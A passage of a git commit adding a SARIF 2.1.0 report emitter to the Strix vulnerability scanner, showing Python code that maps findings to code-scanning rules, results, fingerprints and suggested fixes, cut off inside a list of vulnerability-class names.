feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration (#626)
* feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration Strix emits CSV + markdown + JSON but no SARIF, so findings can't feed GitHub code-scanning, an ASPM, or any SARIF-consuming CI gate. Add a stdlib-only emitter (strix/report/sarif.py) and always write findings.sarif from ReportState._save_artifacts, beside the existing artifacts. Design invariants (learned from running this in production): - Stable partialFingerprints.primaryLocationLineHash per finding, so a re-scan that re-words a title doesn't churn code-scanning alert IDs. - Class/category hashing so the same vuln class maps to a stable ruleId across scans rather than drifting. - Findings with no code location anchor to SECURITY.md with a synthetic location marker instead of being silently dropped. - Always emit (even with zero findings) so a clean re-scan overwrites a stale findings.sarif and code-scanning auto-resolves fixed alerts. - tool.driver.version reports the strix package version. - Fully isolated in its own try/except: a SARIF build error must never break the CSV/MD/run-record path. Verified end-to-end on v1.0.4 against a SQLi/cmd-inj/weak-hash fixture: 3 findings -> valid SARIF 2.1.0, 3 results, real code locations, distinct per-finding fingerprints. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> * fix(report): complete SARIF code scanning metadata --------- Co-authored-by: bearsyankees <bearsyankees@gmail.com>
This commit is contained in:
@@ -0,0 +1,947 @@
|
|||||||
|
"""SARIF 2.1.0 output for Strix vulnerability reports.
|
||||||
|
|
||||||
|
Builds a GitHub code-scanning compatible SARIF document from Strix findings
|
||||||
|
so CI pipelines can upload findings via ``github/codeql-action/upload-sarif``,
|
||||||
|
ingest into ASPM platforms, or normalise across scanners.
|
||||||
|
|
||||||
|
Schema: SARIF 2.1.0 (OASIS). The output is validated against the official
|
||||||
|
schema at https://json.schemastore.org/sarif-2.1.0.json in tests.
|
||||||
|
|
||||||
|
Integration:
|
||||||
|
- ``ReportState._save_artifacts`` calls :func:`write_sarif` to emit a
|
||||||
|
``findings.sarif`` sidecar alongside the existing CSV + markdown + JSON
|
||||||
|
artefacts on every save. The call is wrapped in try/except there so a
|
||||||
|
SARIF failure never blocks the CSV + markdown + run-record path.
|
||||||
|
|
||||||
|
Design notes:
|
||||||
|
* Rules are keyed on CWE (``id = CWE-NNN``), falling back to CVE, then
|
||||||
|
to finding-id, then to a title slug. CWE values are normalised from
|
||||||
|
Strix output variants (``CWE-306``, ``cwe: 306``, ``306``) to the
|
||||||
|
canonical ``CWE-NNN`` form so dedup works across runs.
|
||||||
|
* SARIF only has three levels (error / warning / note). Strix's five
|
||||||
|
severities collapse into them. The raw severity label and CVSS score
|
||||||
|
survive in ``result.properties.strix`` for downstream tools that can
|
||||||
|
distinguish CRITICAL vs HIGH.
|
||||||
|
* GitHub code-scanning uses ``rule.properties['security-severity']``
|
||||||
|
(a 0.0-10.0 string) to rank alerts. We populate it from CVSS when
|
||||||
|
available, otherwise from a conservative label -> score map.
|
||||||
|
* File locations must be repo-relative POSIX paths. Paths that look
|
||||||
|
like URIs, absolute paths, or traversal patterns are rejected rather
|
||||||
|
than emitted as invalid code-scanning alerts.
|
||||||
|
* Findings with a fix suggestion (``code_locations[].fix_before`` +
|
||||||
|
``fix_after``) are emitted as SARIF ``fixes`` so code-scanning can
|
||||||
|
render a one-click suggested change.
|
||||||
|
* Endpoint / target-only findings (typical of DAST) carry a SARIF
|
||||||
|
``logicalLocations`` entry so the finding keeps a meaningful anchor
|
||||||
|
even without a source file + line.
|
||||||
|
* When a repository context is supplied (repo URL / commit / branch),
|
||||||
|
the run carries ``versionControlProvenance`` + ``automationDetails``
|
||||||
|
so code-scanning can bind alerts to the scanned commit and branch.
|
||||||
|
* Findings without safe locations still appear in the SARIF output,
|
||||||
|
anchored to SECURITY.md and flagged via
|
||||||
|
``properties.synthetic_location`` rather than being dropped silently.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from pathlib import Path, PurePosixPath
|
||||||
|
from typing import Any, cast
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
SARIF_SCHEMA = "https://json.schemastore.org/sarif-2.1.0.json"
|
||||||
|
SARIF_VERSION = "2.1.0"
|
||||||
|
TOOL_NAME = "Strix"
|
||||||
|
TOOL_INFORMATION_URI = "https://strix.ai"
|
||||||
|
|
||||||
|
# Synthetic anchor for findings that have no safe code location. SARIF
|
||||||
|
# requires every result to carry at least one location, and GitHub
|
||||||
|
# code-scanning's UI handles locationless results unreliably. Anchoring
|
||||||
|
# to SECURITY.md keeps the result valid + visible while a
|
||||||
|
# ``properties.synthetic_location: true`` flag lets downstream tooling
|
||||||
|
# distinguish synthetic anchors from real source locations. Anchoring
|
||||||
|
# also lets the partialFingerprints + class-hash code path cover these
|
||||||
|
# findings instead of re-orphaning them on every run.
|
||||||
|
_SYNTHETIC_LOCATION_URI = "SECURITY.md"
|
||||||
|
|
||||||
|
|
||||||
|
# SARIF only has three result levels; Strix's five severities collapse here.
|
||||||
|
# Original label survives in ``result.properties.strix.severity``.
|
||||||
|
_SEVERITY_TO_LEVEL = {
|
||||||
|
"critical": "error",
|
||||||
|
"high": "error",
|
||||||
|
"medium": "warning",
|
||||||
|
"low": "note",
|
||||||
|
"info": "note",
|
||||||
|
"informational": "note",
|
||||||
|
}
|
||||||
|
|
||||||
|
# GitHub code-scanning reads ``rule.properties['security-severity']`` (a
|
||||||
|
# 0.0-10.0 string) to rank alerts. We prefer CVSS from the finding; absent
|
||||||
|
# that we fall back to a conservative label -> score map.
|
||||||
|
_SEVERITY_TO_SCORE = {
|
||||||
|
"critical": "9.5",
|
||||||
|
"high": "8.0",
|
||||||
|
"medium": "5.5",
|
||||||
|
"low": "3.0",
|
||||||
|
"info": "1.0",
|
||||||
|
"informational": "1.0",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def build_sarif_report(
|
||||||
|
vulnerability_reports: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
tool_version: str | None = None,
|
||||||
|
repository_context: dict[str, Any] | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""Return a SARIF 2.1.0 document for findings.
|
||||||
|
|
||||||
|
``repository_context`` (optional) supplies VCS provenance for repo
|
||||||
|
scans: ``repositoryUri``, ``repositoryFullName``, ``commitSha``,
|
||||||
|
``branch``, ``ref``. When present, the run carries
|
||||||
|
``versionControlProvenance`` + ``automationDetails`` so code-scanning
|
||||||
|
can bind alerts to the scanned commit; it is omitted for URL / IP
|
||||||
|
(DAST) targets that have no repository.
|
||||||
|
|
||||||
|
Findings without safe source locations are anchored synthetically
|
||||||
|
to SECURITY.md and flagged via ``properties.synthetic_location``.
|
||||||
|
They're still emitted as proper SARIF results so they (a) flow
|
||||||
|
through code-scanning normally rather than being shunted into a
|
||||||
|
run-properties summary the UI can't render, and (b) carry the
|
||||||
|
partialFingerprints + class hash so cross-run dismissal stickiness
|
||||||
|
works for them.
|
||||||
|
"""
|
||||||
|
rules_by_id: dict[str, dict[str, Any]] = {}
|
||||||
|
rule_index_by_id: dict[str, int] = {}
|
||||||
|
results: list[dict[str, Any]] = []
|
||||||
|
synthetic_location_count = 0
|
||||||
|
dropped_unsafe_location_findings: list[dict[str, Any]] = []
|
||||||
|
|
||||||
|
for report in vulnerability_reports:
|
||||||
|
locations, is_synthetic, dropped_location_count = _build_locations(report)
|
||||||
|
if is_synthetic:
|
||||||
|
synthetic_location_count += 1
|
||||||
|
|
||||||
|
if dropped_location_count:
|
||||||
|
dropped_unsafe_location_findings.append(
|
||||||
|
_dropped_location_summary(report, dropped_location_count)
|
||||||
|
)
|
||||||
|
|
||||||
|
rule_id = _rule_id(report)
|
||||||
|
if rule_id not in rules_by_id:
|
||||||
|
rule_index_by_id[rule_id] = len(rules_by_id)
|
||||||
|
rules_by_id[rule_id] = _build_rule(rule_id, report)
|
||||||
|
results.append(
|
||||||
|
_build_result(
|
||||||
|
rule_id,
|
||||||
|
rule_index_by_id[rule_id],
|
||||||
|
report,
|
||||||
|
locations,
|
||||||
|
is_synthetic=is_synthetic,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
driver: dict[str, Any] = {
|
||||||
|
"name": TOOL_NAME,
|
||||||
|
"informationUri": TOOL_INFORMATION_URI,
|
||||||
|
"rules": list(rules_by_id.values()),
|
||||||
|
}
|
||||||
|
if tool_version:
|
||||||
|
driver["version"] = tool_version
|
||||||
|
|
||||||
|
run: dict[str, Any] = {
|
||||||
|
"tool": {"driver": driver},
|
||||||
|
"results": results,
|
||||||
|
}
|
||||||
|
|
||||||
|
run_properties: dict[str, Any] = {}
|
||||||
|
if synthetic_location_count:
|
||||||
|
# Surface the count for observability without duplicating the
|
||||||
|
# findings themselves — they're already in `results[]` with
|
||||||
|
# `properties.synthetic_location: true`. Having a top-level count
|
||||||
|
# means CI logs / dashboards can bookkeep without parsing the
|
||||||
|
# result list.
|
||||||
|
run_properties["syntheticLocationCount"] = synthetic_location_count
|
||||||
|
if dropped_unsafe_location_findings:
|
||||||
|
run_properties["droppedUnsafeLocationCount"] = sum(
|
||||||
|
finding["droppedLocationCount"] for finding in dropped_unsafe_location_findings
|
||||||
|
)
|
||||||
|
run_properties["droppedUnsafeLocationFindings"] = dropped_unsafe_location_findings
|
||||||
|
if run_properties:
|
||||||
|
run["properties"] = run_properties
|
||||||
|
|
||||||
|
if repository_context:
|
||||||
|
_apply_repository_context(run, repository_context)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"version": SARIF_VERSION,
|
||||||
|
"$schema": SARIF_SCHEMA,
|
||||||
|
"runs": [run],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def write_sarif_report(
|
||||||
|
output_path: Path,
|
||||||
|
vulnerability_reports: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
tool_version: str | None = None,
|
||||||
|
repository_context: dict[str, Any] | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""Write a SARIF report to disk, creating parent directories first.
|
||||||
|
|
||||||
|
Writes to a sibling temp file and atomically replaces the target, so a
|
||||||
|
crash or serialization error mid-write can never leave a truncated
|
||||||
|
``findings.sarif`` for CI to upload in place of the last complete snapshot.
|
||||||
|
"""
|
||||||
|
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
sarif = build_sarif_report(
|
||||||
|
vulnerability_reports,
|
||||||
|
tool_version=tool_version,
|
||||||
|
repository_context=repository_context,
|
||||||
|
)
|
||||||
|
tmp_path = output_path.with_name(f"{output_path.name}.{os.getpid()}.tmp")
|
||||||
|
try:
|
||||||
|
with tmp_path.open("w", encoding="utf-8") as sarif_file:
|
||||||
|
json.dump(sarif, sarif_file, ensure_ascii=False, indent=2)
|
||||||
|
sarif_file.write("\n")
|
||||||
|
tmp_path.replace(output_path) # atomic on the same filesystem
|
||||||
|
finally:
|
||||||
|
tmp_path.unlink(missing_ok=True)
|
||||||
|
|
||||||
|
|
||||||
|
def write_sarif(
|
||||||
|
run_dir: Path,
|
||||||
|
reports: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
tool_version: str | None = None,
|
||||||
|
repository_context: dict[str, Any] | None = None,
|
||||||
|
filename: str = "findings.sarif",
|
||||||
|
) -> Path:
|
||||||
|
"""Write ``findings.sarif`` alongside existing outputs in ``run_dir``.
|
||||||
|
|
||||||
|
Returns the output path. This is the ``ReportState`` entry point: SARIF
|
||||||
|
writing must never break the CSV + markdown path, so the caller wraps
|
||||||
|
it in try/except.
|
||||||
|
"""
|
||||||
|
out = run_dir / filename
|
||||||
|
write_sarif_report(
|
||||||
|
out,
|
||||||
|
reports,
|
||||||
|
tool_version=tool_version,
|
||||||
|
repository_context=repository_context,
|
||||||
|
)
|
||||||
|
logger.info(
|
||||||
|
"Wrote SARIF 2.1.0 report: %s (%d results)",
|
||||||
|
out,
|
||||||
|
len(reports),
|
||||||
|
)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
# ``build_sarif_document`` is a convenience alias for callers that prefer a
|
||||||
|
# name mirroring ``write_sarif_report``.
|
||||||
|
def build_sarif_document(
|
||||||
|
reports: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
tool_version: str | None = None,
|
||||||
|
repository_context: dict[str, Any] | None = None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return build_sarif_report(
|
||||||
|
reports,
|
||||||
|
tool_version=tool_version,
|
||||||
|
repository_context=repository_context,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Repository provenance
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _apply_repository_context(run: dict[str, Any], context: dict[str, Any]) -> None:
|
||||||
|
"""Attach VCS provenance to a run for code-scanning alert binding.
|
||||||
|
|
||||||
|
``automationDetails.id`` categorises the run (``strix/<owner>/<repo>``)
|
||||||
|
so multiple Strix runs against the same repo reconcile rather than pile
|
||||||
|
up. ``versionControlProvenance`` records the exact repo + commit + branch
|
||||||
|
the findings came from. Both are omitted when the corresponding context
|
||||||
|
fields are absent (e.g. DAST-only scans).
|
||||||
|
"""
|
||||||
|
full_name = _string_value(context.get("repositoryFullName"))
|
||||||
|
uri = _string_value(context.get("repositoryUri"))
|
||||||
|
commit = _string_value(context.get("commitSha"))
|
||||||
|
branch = _string_value(context.get("branch"))
|
||||||
|
ref = _string_value(context.get("ref"))
|
||||||
|
|
||||||
|
if full_name:
|
||||||
|
run["automationDetails"] = {"id": f"strix/{full_name}"}
|
||||||
|
|
||||||
|
if uri:
|
||||||
|
provenance: dict[str, Any] = {"repositoryUri": uri}
|
||||||
|
if commit:
|
||||||
|
provenance["revisionId"] = commit
|
||||||
|
if branch:
|
||||||
|
provenance["branch"] = branch
|
||||||
|
run["versionControlProvenance"] = [provenance]
|
||||||
|
|
||||||
|
properties = run.setdefault("properties", {})
|
||||||
|
if full_name:
|
||||||
|
properties["repository"] = full_name
|
||||||
|
if ref:
|
||||||
|
properties["ref"] = ref
|
||||||
|
if commit:
|
||||||
|
properties["commit_sha"] = commit
|
||||||
|
if not properties:
|
||||||
|
run.pop("properties", None)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Rule + result builders
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _build_rule(rule_id: str, report: dict[str, Any]) -> dict[str, Any]:
|
||||||
|
"""Build a SARIF rule descriptor from a Strix finding."""
|
||||||
|
title = _string_value(report.get("title")) or rule_id
|
||||||
|
full_description = _string_value(report.get("description")) or title
|
||||||
|
help_text = _help_text(report, full_description)
|
||||||
|
|
||||||
|
rule: dict[str, Any] = {
|
||||||
|
"id": rule_id,
|
||||||
|
"name": _rule_name(rule_id, title),
|
||||||
|
"shortDescription": {"text": title},
|
||||||
|
"fullDescription": {"text": full_description},
|
||||||
|
"defaultConfiguration": {"level": _sarif_level(report.get("severity"))},
|
||||||
|
"help": {"text": help_text, "markdown": help_text},
|
||||||
|
}
|
||||||
|
|
||||||
|
properties: dict[str, Any] = {
|
||||||
|
"security-severity": _security_severity(report),
|
||||||
|
}
|
||||||
|
tags = _rule_tags(rule_id, report)
|
||||||
|
if tags:
|
||||||
|
properties["tags"] = tags
|
||||||
|
rule["properties"] = properties
|
||||||
|
|
||||||
|
help_uri = _help_uri_for(rule_id)
|
||||||
|
if help_uri:
|
||||||
|
rule["helpUri"] = help_uri
|
||||||
|
|
||||||
|
return rule
|
||||||
|
|
||||||
|
|
||||||
|
def _build_result(
|
||||||
|
rule_id: str,
|
||||||
|
rule_index: int,
|
||||||
|
report: dict[str, Any],
|
||||||
|
locations: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
is_synthetic: bool = False,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""Build one SARIF result using validated locations.
|
||||||
|
|
||||||
|
``is_synthetic`` flags results whose location is the SECURITY.md
|
||||||
|
anchor rather than a real code location — surfaces as
|
||||||
|
``properties.synthetic_location: true`` so reviewers and downstream
|
||||||
|
tooling can distinguish anchored-locationless findings from
|
||||||
|
source-linked ones.
|
||||||
|
"""
|
||||||
|
title = _string_value(report.get("title")) or rule_id
|
||||||
|
description = _string_value(report.get("description"))
|
||||||
|
message_text = f"{title}\n\n{description}" if description else title
|
||||||
|
|
||||||
|
result: dict[str, Any] = {
|
||||||
|
"ruleId": rule_id,
|
||||||
|
"ruleIndex": rule_index,
|
||||||
|
"level": _sarif_level(report.get("severity")),
|
||||||
|
"message": {"text": message_text},
|
||||||
|
}
|
||||||
|
if locations:
|
||||||
|
result["locations"] = locations
|
||||||
|
|
||||||
|
fixes = _build_fixes(report)
|
||||||
|
if fixes:
|
||||||
|
result["fixes"] = fixes
|
||||||
|
|
||||||
|
# Code-scanning auto-resolution + dismissal-stickiness key on
|
||||||
|
# partialFingerprints. Computed from the deterministic primitives
|
||||||
|
# this report already carries (CWE, primary code location, route
|
||||||
|
# tuple) — NOT from the LLM-authored title or message body, which
|
||||||
|
# vary cosmetically across runs of the same finding.
|
||||||
|
fp = _primary_fingerprint(rule_id, report, locations, is_synthetic=is_synthetic)
|
||||||
|
if fp:
|
||||||
|
result["partialFingerprints"] = {"primaryLocationLineHash": fp}
|
||||||
|
# File-independent class fingerprint as a sibling property: lets
|
||||||
|
# downstream tooling carry "won't fix" / "false positive"
|
||||||
|
# determinations across file rename refactors where the primary
|
||||||
|
# fingerprint legitimately shifts but the underlying class is
|
||||||
|
# unchanged.
|
||||||
|
class_fp = _class_fingerprint(rule_id, report)
|
||||||
|
result["properties"] = _result_properties(report, class_fp, is_synthetic=is_synthetic)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def _result_properties(
|
||||||
|
report: dict[str, Any],
|
||||||
|
class_fingerprint: str | None = None,
|
||||||
|
*,
|
||||||
|
is_synthetic: bool = False,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""Strix-specific metadata for downstream consumers.
|
||||||
|
|
||||||
|
The top-level ``security-severity`` matches GitHub code-scanning's
|
||||||
|
expected property. Strix-specific fields are namespaced under
|
||||||
|
``strix`` so generic SARIF consumers don't see them by default.
|
||||||
|
"""
|
||||||
|
properties: dict[str, Any] = {
|
||||||
|
"security-severity": _security_severity(report),
|
||||||
|
}
|
||||||
|
if class_fingerprint:
|
||||||
|
# Surfaced at top level so cross-rename dismissal tooling can
|
||||||
|
# filter alerts by it without parsing the nested strix.* tree.
|
||||||
|
properties["strix_vuln_class_hash"] = class_fingerprint
|
||||||
|
if is_synthetic:
|
||||||
|
# Top-level so reviewers + downstream automation can filter
|
||||||
|
# synthetic-anchored alerts without parsing the nested strix.*
|
||||||
|
# tree.
|
||||||
|
properties["synthetic_location"] = True
|
||||||
|
|
||||||
|
strix: dict[str, Any] = {}
|
||||||
|
for key in (
|
||||||
|
"id",
|
||||||
|
"severity",
|
||||||
|
"cvss",
|
||||||
|
"timestamp",
|
||||||
|
"target",
|
||||||
|
"endpoint",
|
||||||
|
"method",
|
||||||
|
"cve",
|
||||||
|
"cwe",
|
||||||
|
"impact",
|
||||||
|
"technical_analysis",
|
||||||
|
"remediation_steps",
|
||||||
|
):
|
||||||
|
value = report.get(key)
|
||||||
|
if value not in (None, ""):
|
||||||
|
strix[key] = value
|
||||||
|
|
||||||
|
# SARIF is written for external upload (code-scanning / ASPM), so it must
|
||||||
|
# NOT carry the weaponized exploit payload — that stays a local run
|
||||||
|
# artifact (vulnerabilities.json / the finding MD). We surface the PoC
|
||||||
|
# *description* (triage context) and a boolean flag that a script exists,
|
||||||
|
# so consumers know to look at the local artifact, but never the script
|
||||||
|
# body itself.
|
||||||
|
poc_description = _string_value(report.get("poc_description"))
|
||||||
|
poc_script = _string_value(report.get("poc_script_code"))
|
||||||
|
if poc_description or poc_script:
|
||||||
|
poc: dict[str, Any] = {}
|
||||||
|
if poc_description:
|
||||||
|
poc["description"] = poc_description
|
||||||
|
if poc_script:
|
||||||
|
poc["script_available"] = True
|
||||||
|
strix["poc"] = poc
|
||||||
|
|
||||||
|
if strix:
|
||||||
|
properties["strix"] = strix
|
||||||
|
|
||||||
|
return properties
|
||||||
|
|
||||||
|
|
||||||
|
def _build_fixes(report: dict[str, Any]) -> list[dict[str, Any]] | None:
|
||||||
|
"""Build SARIF ``fixes`` from a finding's code-location fix pairs.
|
||||||
|
|
||||||
|
Strix findings carry the suggested change inline on each code
|
||||||
|
location as ``fix_before`` + ``fix_after``. We map every location
|
||||||
|
that has both (and a safe repo-relative URI + start line) into a
|
||||||
|
SARIF ``artifactChange``, replacing the finding's region with the
|
||||||
|
fixed text. Returns None when no location carries a usable fix pair.
|
||||||
|
"""
|
||||||
|
raw_locations = report.get("code_locations")
|
||||||
|
if not isinstance(raw_locations, list):
|
||||||
|
return None
|
||||||
|
|
||||||
|
artifact_changes: list[dict[str, Any]] = []
|
||||||
|
for location in raw_locations:
|
||||||
|
if not isinstance(location, dict):
|
||||||
|
continue
|
||||||
|
file_path = _string_value(location.get("file"))
|
||||||
|
fix_before = _string_value(location.get("fix_before"))
|
||||||
|
fix_after = _string_value(location.get("fix_after"))
|
||||||
|
start_line = location.get("start_line")
|
||||||
|
if not (file_path and fix_before and fix_after):
|
||||||
|
continue
|
||||||
|
if type(start_line) is not int or start_line < 1:
|
||||||
|
continue
|
||||||
|
uri = _sarif_uri(file_path)
|
||||||
|
if uri is None:
|
||||||
|
continue
|
||||||
|
|
||||||
|
deleted_region: dict[str, Any] = {"startLine": start_line}
|
||||||
|
end_line = location.get("end_line")
|
||||||
|
if type(end_line) is int and end_line >= start_line:
|
||||||
|
deleted_region["endLine"] = end_line
|
||||||
|
|
||||||
|
artifact_changes.append(
|
||||||
|
{
|
||||||
|
"artifactLocation": {"uri": uri},
|
||||||
|
"replacements": [
|
||||||
|
{
|
||||||
|
"deletedRegion": deleted_region,
|
||||||
|
"insertedContent": {"text": fix_after},
|
||||||
|
}
|
||||||
|
],
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if not artifact_changes:
|
||||||
|
return None
|
||||||
|
|
||||||
|
fix: dict[str, Any] = {"artifactChanges": artifact_changes}
|
||||||
|
remediation = _string_value(report.get("remediation_steps"))
|
||||||
|
if remediation:
|
||||||
|
fix["description"] = {"text": remediation, "markdown": remediation}
|
||||||
|
return [fix]
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Location handling
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _synthetic_location() -> dict[str, Any]:
|
||||||
|
"""Synthetic anchor for findings with no safe code location.
|
||||||
|
|
||||||
|
SARIF requires every result to carry at least one location, and
|
||||||
|
code-scanning's UI handles locationless results unreliably.
|
||||||
|
Anchoring to SECURITY.md gives the result a valid + visible
|
||||||
|
location; the result's ``properties.synthetic_location: true``
|
||||||
|
flag lets reviewers + tooling distinguish synthetic from real.
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
"physicalLocation": {
|
||||||
|
"artifactLocation": {"uri": _SYNTHETIC_LOCATION_URI},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _build_locations(report: dict[str, Any]) -> tuple[list[dict[str, Any]], bool, int]:
|
||||||
|
"""Return ``(locations, is_synthetic, dropped_count)`` for a finding.
|
||||||
|
|
||||||
|
Physical locations come from validated ``code_locations``. When none
|
||||||
|
are safe, the result is anchored to SECURITY.md (``is_synthetic``).
|
||||||
|
An ``endpoint`` (typical of DAST findings) is added as a
|
||||||
|
``logicalLocations`` entry; a locationless, endpoint-less finding
|
||||||
|
gets a ``resource`` logical location carrying the target so the
|
||||||
|
finding keeps a human-meaningful anchor.
|
||||||
|
"""
|
||||||
|
physical, dropped_location_count = _build_physical_locations(report.get("code_locations"))
|
||||||
|
is_synthetic = not physical
|
||||||
|
locations: list[dict[str, Any]] = list(physical) if physical else [_synthetic_location()]
|
||||||
|
|
||||||
|
endpoint = _string_value(report.get("endpoint"))
|
||||||
|
if endpoint:
|
||||||
|
locations.append(
|
||||||
|
{"logicalLocations": [{"fullyQualifiedName": endpoint, "kind": "endpoint"}]}
|
||||||
|
)
|
||||||
|
elif is_synthetic:
|
||||||
|
resource = _string_value(report.get("target")) or _string_value(report.get("title"))
|
||||||
|
if resource:
|
||||||
|
locations.append(
|
||||||
|
{"logicalLocations": [{"fullyQualifiedName": resource, "kind": "resource"}]}
|
||||||
|
)
|
||||||
|
|
||||||
|
return locations, is_synthetic, dropped_location_count
|
||||||
|
|
||||||
|
|
||||||
|
def _build_physical_locations(raw_locations: Any) -> tuple[list[dict[str, Any]], int]:
|
||||||
|
"""Return SARIF physical locations and a count of dropped unsafe locations."""
|
||||||
|
if not isinstance(raw_locations, list):
|
||||||
|
return [], 0
|
||||||
|
|
||||||
|
locations: list[dict[str, Any]] = []
|
||||||
|
dropped_location_count = 0
|
||||||
|
for location in raw_locations:
|
||||||
|
if not isinstance(location, dict):
|
||||||
|
dropped_location_count += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
file_path = _string_value(location.get("file"))
|
||||||
|
start_line = location.get("start_line")
|
||||||
|
end_line = location.get("end_line")
|
||||||
|
if not file_path or type(start_line) is not int or start_line < 1:
|
||||||
|
dropped_location_count += 1
|
||||||
|
continue
|
||||||
|
uri = _sarif_uri(file_path)
|
||||||
|
if uri is None:
|
||||||
|
dropped_location_count += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
region: dict[str, Any] = {"startLine": start_line}
|
||||||
|
if type(end_line) is int and end_line >= start_line:
|
||||||
|
region["endLine"] = end_line
|
||||||
|
|
||||||
|
snippet = _string_value(location.get("snippet"))
|
||||||
|
if snippet:
|
||||||
|
region["snippet"] = {"text": snippet}
|
||||||
|
|
||||||
|
physical_location: dict[str, Any] = {
|
||||||
|
"artifactLocation": {"uri": uri},
|
||||||
|
"region": region,
|
||||||
|
}
|
||||||
|
entry: dict[str, Any] = {"physicalLocation": physical_location}
|
||||||
|
|
||||||
|
label = _string_value(location.get("label"))
|
||||||
|
if label:
|
||||||
|
entry["message"] = {"text": label}
|
||||||
|
|
||||||
|
locations.append(entry)
|
||||||
|
|
||||||
|
return locations, dropped_location_count
|
||||||
|
|
||||||
|
|
||||||
|
def _sarif_uri(file_path: str) -> str | None:
|
||||||
|
"""Return a safe repo-relative SARIF URI, or None for unsafe paths."""
|
||||||
|
uri = PurePosixPath(file_path.replace("\\", "/")).as_posix()
|
||||||
|
parts = PurePosixPath(uri).parts
|
||||||
|
if not uri or uri.startswith("/") or not parts:
|
||||||
|
return None
|
||||||
|
if ":" in parts[0] or any(part == ".." for part in parts):
|
||||||
|
return None
|
||||||
|
return uri
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Rule ID resolution + CWE normalisation
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _rule_id(report: dict[str, Any]) -> str:
|
||||||
|
"""Choose a stable SARIF rule id, preferring CWE → CVE → finding-id → slug.
|
||||||
|
|
||||||
|
CWE values are normalised from Strix output variants (``CWE-306``,
|
||||||
|
``cwe: 306``, ``306``) to the canonical ``CWE-NNN`` form. Without
|
||||||
|
normalisation, the same weakness across runs dedups to separate rules.
|
||||||
|
"""
|
||||||
|
cwe = _string_value(report.get("cwe"))
|
||||||
|
if cwe:
|
||||||
|
normalised = _normalise_cwe(cwe)
|
||||||
|
if normalised:
|
||||||
|
return normalised
|
||||||
|
|
||||||
|
cve = _string_value(report.get("cve"))
|
||||||
|
if cve:
|
||||||
|
return cve
|
||||||
|
|
||||||
|
finding_id = _string_value(report.get("id"))
|
||||||
|
if finding_id:
|
||||||
|
return finding_id
|
||||||
|
|
||||||
|
title = _string_value(report.get("title")) or "strix-finding"
|
||||||
|
return _slugify(title)
|
||||||
|
|
||||||
|
|
||||||
|
def _normalise_cwe(value: str) -> str | None:
|
||||||
|
"""``CWE-306``, ``cwe:306``, ``306`` → ``CWE-306``."""
|
||||||
|
digits = "".join(c for c in value if c.isdigit())
|
||||||
|
if not digits:
|
||||||
|
return None
|
||||||
|
return f"CWE-{digits}"
|
||||||
|
|
||||||
|
|
||||||
|
# Vulnerability-class keywords for the file-independent class
|
||||||
|
# fingerprint. Order matters — first match wins, so precise terms
|
||||||
|
# come before fuzzy ones (e.g. "broken access control" before
|
||||||
|
# "access control"). Keep this list closed and curated; a future
|
||||||
|
# maintainer adding sloppy entries could collapse distinct findings
|
||||||
|
# to the same class hash.
|
||||||
|
_VULN_CLASS_KEYWORDS = (
|
||||||
|
"missing authentication",
|
||||||
|
"missing authorization",
|
||||||
|
"broken access control",
|
||||||
|
"incorrect authorization",
|
||||||
|
"default credentials",
|
||||||
|
"hardcoded credentials",
|
||||||
|
"hardcoded secret",
|
||||||
|
"hardcoded password",
|
||||||
|
"default admin",
|
||||||
|
"default password",
|
||||||
|
"session fixation",
|
||||||
|
"open redirect",
|
||||||
|
"path traversal",
|
||||||
|
"directory traversal",
|
||||||
|
"command injection",
|
||||||
|
"sql injection",
|
||||||
|
"code injection",
|
||||||
|
"template injection",
|
||||||
|
"xpath injection",
|
||||||
|
"ldap injection",
|
||||||
|
"log injection",
|
||||||
|
"header injection",
|
||||||
|
"csv injection",
|
||||||
|
"prompt injection",
|
||||||
|
"deserialization",
|
||||||
|
"ssrf",
|
||||||
|
"xss",
|
||||||
|
"csrf",
|
||||||
